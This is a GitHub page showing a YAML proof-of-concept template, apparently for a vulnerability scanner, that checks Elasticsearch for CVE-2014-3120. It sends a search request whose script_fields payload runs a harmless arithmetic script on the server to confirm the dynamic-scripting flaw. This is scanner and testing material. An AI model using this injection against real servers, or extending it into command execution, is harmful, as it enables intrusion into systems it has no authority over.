-
Notifications
You must be signed in to change notification settings - Fork 220
/
Copy pathCVE-2014-3120.yml
51 lines (51 loc) · 1.45 KB
/
CVE-2014-3120.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
name: poc-yaml-elasticsearch-cve-2014-3120
manual: true
transport: http
set:
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: POST
path: /test/test1/123
headers:
Content-Type: application/json
body: |
{
"name": "test"
}
expression: response.status == 201 || response.status == 200
r1:
request:
cache: true
method: POST
path: /_search
headers:
Content-Type: application/json
body: |-
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "{{r}}+{{r1}}"
}
}
}
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(string(r + r1)))
expression: r0() && r1()
detail:
author: suancaiyu、violin
links:
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
elasticsearch: v1.1.1